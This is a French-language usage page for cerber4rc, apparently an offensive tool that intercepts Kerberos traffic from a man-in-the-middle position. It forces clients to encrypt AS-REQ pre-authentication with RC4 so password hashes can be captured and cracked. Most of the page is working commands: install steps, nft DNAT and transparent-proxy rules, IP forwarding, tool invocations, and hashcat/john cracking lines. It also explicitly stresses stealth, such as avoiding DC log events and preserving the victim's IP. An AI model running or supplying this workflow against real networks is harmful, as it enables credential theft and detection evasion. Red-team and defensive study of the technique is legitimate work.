
Un outil pour récolter des hachages RC4 via ASREQroasting de manière furtive
cerber4rc rétrograde les messages de pré-authentification Kerberos en forçant les clients à chiffrer leurs horodatages AS-REQ avec
ARC4 (RC4), tout en s'authentifiant toujours auprès du contrôleur de domaine à l'aide de chiffrements sécurisés — en d'autres termes, il effectue
un AS-REQ roasting basé sur RC4 de manière furtive. Le hash capturé ($krb5pa$23$) est bien plus rapide à casser que
les messages AS-REQ chiffrés en AES, et aucun événement de sécurité lié à des chiffrements non sécurisés n'est journalisé sur le contrôleur de domaine.
L'outil prend également en charge le proxy transparent afin que l'adresse IP source de la victime soit préservée.
$ pipx install git+https://github.com/synacktiv/cerber4rc
$ git clone https://github.com/synacktiv/cerber4rc
$ cd cerber4rc
$ python3 -m venv .venv
$ source .venv/bin/activate
$ pip3 install .
$ python3 -m cerber4rc
Pour utiliser l'outil, vous devez d'abord avoir obtenu une position Man-in-the-Middle (MitM) vous permettant d'intercepter le trafic Kerberos de vos victimes. Cela peut être réalisé de plusieurs manières, par exemple :
[!IMPORTANT] La machine que vous ciblez doit être configurée pour prendre en charge RC4, sinon la rétrogradation échouera, ce qui est détecté automatiquement par l'outil. Ce n'est pas un prérequis du côté du KDC : si le poste de travail que vous ciblez annonce RC4 comme etype, mais que le contrôleur de domaine ne prend pas en charge le chiffrement RC4 pour la pré-authentification Kerberos, l'attaque fonctionnera tout de même.
Une fois que vous recevez du trafic Kerberos, l'idée est de faire un DNAT du port 88/TCP vers un socket TCP local sur lequel l'outil écoute. Cela peut être réalisé avec les règles nft suivantes :
$ cat /etc/nftables.conf
[...]
table inet nat {
chain prerouting {
type nat hook prerouting priority dstnat; policy accept;
ip saddr <ip_target_1> tcp dport 88 dnat ip to <local_ip>:<local_port>
ip saddr <ip_target_2> tcp dport 88 dnat ip to <local_ip>:<local_port>
[...]
ip saddr <ip_target_n> tcp dport 88 dnat ip to <local_ip>:<local_port>
}
}
[...]
$ sudo nft -f /etc/nftables.conf
Votre machine d'attaque doit également autoriser le transfert IP, ce qui peut être activé de cette façon :
$ sudo sysctl net.ipv4.ip_forward=1
[!NOTE] Si vous utilisez l'outil en mode
--transparent, une configuration supplémentaire est requise, décrite dans la section proxy transparent.
cerber4rc permet l'interception passive des messages de pré-authentification Kerberos avec l'option --relay. Il dérive les hashes en fonction de l'etype utilisé par les victimes pour chiffrer leur horodatage de pré-authentification (AES ou RC4).
$ cerber4rc --kdc-host <dc_ip> --listen-host <local_ip> --listen-port <local_port> --relay
cerber4rc prend en charge deux modes différents pour l'interception active : un proxy TCP classique (mode par défaut) et un proxy transparent (option --transparent).
Ce mode est le comportement par défaut de l'outil. Il « divise » la connexion en deux parties distinctes en terminant la connexion TCP du côté du client, et en créant une nouvelle connexion TCP vers le contrôleur de domaine (DC). D'un point de vue réseau, le DC voit l'IP de la machine exécutant cerber4rc, ce qui, dans des environnements durcis et matures, peut déclencher des règles de détection.
$ cerber4rc --kdc-host <dc_ip> --listen-host <local_ip> --listen-port <local_port>
Ce mode peut être activé à l'aide du flag --transparent. Il crée un proxy transparent, ce qui nécessite la capacité CAP_NET_ADMIN, ou que l'outil soit exécuté en tant qu'utilisateur root. Cela vous permet de préserver l'adresse IP de la victime lors du rétrogradation des messages de pré-authentification Kerberos : les journaux d'événements générés sur le KDC pour les requêtes TGT contiendront l'adresse IP de la victime, et non celle de la machine de l'attaquant exécutant cerber4rc.
Pour que ce mode fonctionne, une configuration réseau différente est nécessaire. Tout d'abord, les règles nft suivantes doivent être créées :
table ip tproxy_kerberos {
chain divert {
type filter hook prerouting priority mangle; policy accept;
socket transparent 1 meta mark set 1 accept
meta l4proto tcp th dport 88 tproxy to :<cerber4rc_listening_tcp_port> meta mark set 1 accept
}
}
Ensuite, la règle de routage de politique et la route suivantes doivent être définies :
$ sudo ip rule add fwmark 1 lookup 100
$ sudo ip route add local 0.0.0.0/0 dev lo table 100
cerber4rc peut ensuite être exécuté avec l'option --transparent, en tant que root ou en accordant la capacité CAP_NET_ADMIN à votre interpréteur Python :
$ cerber4rc --kdc-host <dc_ip> --listen-port <tcp_port_of_your_choice> --transparent -o /tmp/hashes
Les hachages capturés seront enregistrés par défaut dans les fichiers <current_timestamp>-hashes_hashcat et <current_timestamp>-hashes_john dans le répertoire courant. Ce comportement peut être
modifié avec l'option --hash-logfile (-o). L'outil vérifiera d'abord si vous disposez des autorisations nécessaires pour écrire à l'emplacement sélectionné, et quittera sinon.
Pour casser les hachages collectés, vous pouvez utiliser john ou hashcat avec les options suivantes :
# RC4 (etype 23)
$ john --wordlist=rockyou.txt <path_to_john_hashes>
$ hashcat -m 7500 <path_to_hashcat_hashes> rockyou.txt
# AES (etype 17/18), captured when RC4 downgrade is not available
$ john --wordlist=rockyou.txt <path_to_john_hashes>
$ hashcat -m 19800 <path_to_hashcat_hashes> rockyou.txt # etype 17, AES-128
$ hashcat -m 19900 <path_to_hashcat_hashes> rockyou.txt # etype 18, AES-256
Découvrez les outils les plus utilisés par notre communauté.
Pas encore de données de popularité.